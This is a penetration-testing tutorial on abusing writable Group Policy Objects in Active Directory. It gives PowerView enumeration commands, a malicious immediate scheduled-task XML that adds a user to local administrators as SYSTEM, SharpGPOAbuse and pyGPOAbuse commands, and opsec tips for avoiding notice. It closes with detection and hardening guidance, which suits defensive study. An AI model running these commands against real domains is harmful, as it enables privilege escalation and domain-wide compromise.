Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Group Policy is Active Directory’s native configuration-management channel: Domain Controllers publish policy, and every domain-joined machine pulls and applies it automatically. That makes a Group Policy Object (GPO) a remote-code-execution primitive by design — its entire purpose is to make distant machines run settings, scripts, and scheduled tasks decided elsewhere. So when a non-administrative principal can *edit* a GPO, they inherit that reach: a single writable GPO linked to an OU full of servers, or to the domain root, becomes code execution on every computer in scope, frequently as NT AUTHORITY\SYSTEM.
This is why GPO write access is one of the highest-value edges BloodHound reports. A GenericAll, GenericWrite, WriteDacl, or WriteProperty ACE on a groupPolicyContainer object — or, equivalently, write access to the GPO’s files in SYSVOL — converts one misplaced permission into mass compromise. Tools like SharpGPOAbuse and pyGPOAbuse weaponize it in a single command by injecting an immediate scheduled task that fires the next time policy refreshes.
Attack Prerequisites
The attack needs write access to a GPO and a link that puts targets in scope:
- Write access to the GPO. Either an ACE on the
groupPolicyContainerobject (GenericAll/GenericWrite/WriteDacl/WriteProperty) or write permission on the GPO’s SYSVOL folder (gPCFileSysPath). - The GPO must be linked to a site, domain, or OU that contains the computers (for a machine task) or users (for a user task) you want to reach. An unlinked GPO applies to nothing.
- A policy refresh to trigger execution — background refresh occurs roughly every 90 minutes (plus a random 0–30 minute offset), at boot/logon, or on demand via
gpupdate /force. - A domain foothold to enumerate and edit the GPO (any authenticated user that holds the write edge).
How It Works
A GPO has two halves that must stay in sync. The Group Policy Container (GPC) is the AD object under CN=Policies,CN=System,DC=..., identified by a GUID and carrying attributes like versionNumber, gPCMachineExtensionNames, and gPCFileSysPath. The Group Policy Template (GPT) is the file-system half, stored on every DC under \\<domain>\SYSVOL\<domain>\Policies\{GUID}\, containing the actual scripts, registry settings, and preference XML. Clients read the GPC to learn where the GPT is and which client-side extensions to invoke, then read the GPT files and apply them.
The abuse leverages Group Policy Preferences (GPP), specifically the Scheduled Tasks extension. Dropping a ScheduledTasks.xml under the GPT and declaring an immediate task (<ImmediateTaskV2>) causes the client to register and immediately run a task on the next refresh — commonly in the computer context, i.e. as SYSTEM. For the client to notice the new preference, two GPC attributes must be updated: versionNumber is incremented so clients see the GPO as changed, and gPCMachineExtensionNames is extended to include the CSE GUIDs for the Preferences and Scheduled Tasks extensions so the client actually processes the XML.
SharpGPOAbuse and pyGPOAbuse perform exactly this bookkeeping: they write the task XML into SYSVOL, bump versionNumber, and register the correct extension GUIDs in gPCMachineExtensionNames, so no manual GUID juggling is required. Because everything the attacker adds is legitimate Group Policy content, the payload is applied by the OS’s own trusted policy engine — there is no exploit, only misused configuration authority.
Vulnerable Configuration
The root cause is an ACE granting a non-admin write over the GPO object. PowerView resolves who can edit each GPO; an abusable result shows a normal principal with a write right over a groupPolicyContainer:
PS> Get-DomainGPO -Identity 'Default Domain Policy' | Get-DomainObjectAcl -ResolveGUIDs |
? { $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|GenericAll|WriteDacl' }
ObjectDN : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=corp,DC=local
ActiveDirectoryRights : GenericWrite
SecurityIdentifier : S-1-5-21-...-1181 # -> CORP\GPO-Editors (contains a low-priv user)
AceType : AccessAllowedTEXTEquivalently, the file-system half is directly writable. The gPCFileSysPath points into SYSVOL, and if a controlled principal can write there, no AD ACE is even needed — the client trusts whatever files it finds:
PS> (Get-DomainGPO -Identity 'Default Domain Policy').gpcfilesyspath
\\corp.local\SysVol\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
PS> icacls "\\corp.local\SysVol\corp.local\Policies\{31B2F340-...}"
CORP\GPO-Editors:(OI)(CI)(M) <-- Modify on the GPT => can drop ScheduledTasks.xmlTEXTThe malicious content itself is an immediate scheduled task preference. This is what gets written into the GPT and applied by the trusted policy engine — note it runs as NT AUTHORITY\System in the computer context:
<!-- Machine\Preferences\ScheduledTasks\ScheduledTasks.xml -->
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 name="UpdateCheck" image="0" changed="2026-01-01 00:00:00">
<Properties action="C" name="UpdateCheck" runAs="NT AUTHORITY\System"
logonType="S4U">
<Task>
<Actions>
<Exec>
<Command>cmd.exe</Command>
<Arguments>/c net localgroup administrators corp\jdoe /add</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>XMLWalkthrough / Exploitation
First identify a GPO you can write and confirm it is linked to targets. BloodHound shows this as a GenericWrite/GenericAll/WriteDacl edge to a GPO node; the node’s outbound GPLink edges show what it affects. From PowerView:
# Which GPOs can my user edit, and where are they linked?
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
? { $_.SecurityIdentifier -eq (Get-DomainUser jdoe).objectsid -and
$_.ActiveDirectoryRights -match 'Write|GenericAll' }
Get-DomainOU | ? { $_.gplink -match '{31B2F340-016D-11D2-945F-00C04FB984F9}' }PowerShellFrom Windows, SharpGPOAbuse injects an immediate computer task in one command. It handles the SYSVOL XML, the versionNumber bump, and the gPCMachineExtensionNames update automatically:
SharpGPOAbuse.exe --AddComputerTask ^
--TaskName "UpdateCheck" ^
--Author "CORP\Administrator" ^
--Command "cmd.exe" ^
--Arguments "/c net localgroup administrators corp\jdoe /add" ^
--GPOName "Default Domain Policy"TEXTFrom Linux/Kali, pyGPOAbuse does the same over the network with just credentials — useful when you have no interactive Windows session:
python3 pygpoabuse.py corp.local/jdoe:'P@ssw0rd!' -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' \
-command 'net localgroup administrators corp\jdoe /add' -dc-ip 10.0.0.10BashA user-context alternative (runs at the next user logon/refresh rather than as SYSTEM) can be created the same way with --AddUserTask in SharpGPOAbuse. Once the task is planted, execution follows the refresh cycle; on a machine you can reach interactively you can force it:
gpupdate /force :: on a target you control, to trigger apply immediatelyTEXTAfter the task has run and you have your foothold/privilege, clean up: delete the ScheduledTasks.xml from SYSVOL and, ideally, restore the original versionNumber and gPCMachineExtensionNames so the GPO no longer advertises the preferences extension.
Note: An immediate task deletes its own registration after it runs, so on the endpoint the scheduled task is transient — but the
ScheduledTasks.xmlyou dropped lingers in world-readable SYSVOL until you remove it, exposing your command (and any embedded credentials) to anyone in the domain. PowerView’sNew-GPOImmediateTaskis another implementation of the same technique. Choose the computer vs. user context deliberately: computer tasks give SYSTEM but only fire where the GPO is linked to computer OUs.
Opsec: Editing a GPO touches SYSVOL on every DC (it replicates) and modifies the GPC object in AD — both are auditable. Scoping matters: linking-level abuse of a broadly-linked GPO (e.g. Default Domain Policy) hits an enormous blast radius and is very likely to be noticed. Prefer a narrowly-linked GPO over a target OU, and remove your artifacts promptly.
Detection and Defense
GPO abuse leaves traces in AD, in SYSVOL, and on the endpoints that apply the task:
- Event ID 5136 (directory service object modified) on
groupPolicyContainerobjects — watchversionNumberandgPCMachineExtensionNameschanges, especially by non-Group-Policy-admin principals. - SYSVOL file monitoring for new or modified
ScheduledTasks.xml,Scripts.ini, orGptTmpl.infunderPolicies\{GUID}— creation of a Preferences task file is a strong indicator. - Event ID 4698 (a scheduled task was created) and process-creation (4688) for
cmd.exe/powershell.exespawned by the task engine on endpoints after a policy refresh. - Lock down GPO edit rights: only Group Policy admins should have write over GPOs; audit and remove stray
WriteDacl/GenericWriteACEs and tighten SYSVOL NTFS permissions on the GPT folders. - Regularly diff GPOs (e.g. with Get-GPOReport or a monitoring tool) to detect unexpected preference additions.
Real-World Impact
GPO abuse is a favourite of both red teams and ransomware crews precisely because it is the fastest legitimate way to run code on many hosts at once. Human-operated ransomware families have repeatedly used Group Policy to deploy their payload domain-wide from a single compromised object, and BloodHound’s GPO-control edges are a top prize on internal engagements because one misconfigured delegation can equal control of every workstation in an OU. It is closely related to the older MS14-025 GPP-password issue, but the write-a-GPO technique here needs no CVE — it is authorized functionality used by an unauthorized principal.
Conclusion
A GPO is code execution wearing an administrative hat: whoever can edit one can make every linked machine run their command through the OS’s own trusted policy engine, often as SYSTEM. The defense is squarely about authority — restrict who can write GPOs and their SYSVOL folders, monitor the GPC and SYSVOL for unexpected changes, and treat every GPO-control edge in BloodHound as a potential domain-wide compromise until the ACL is proven correct.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments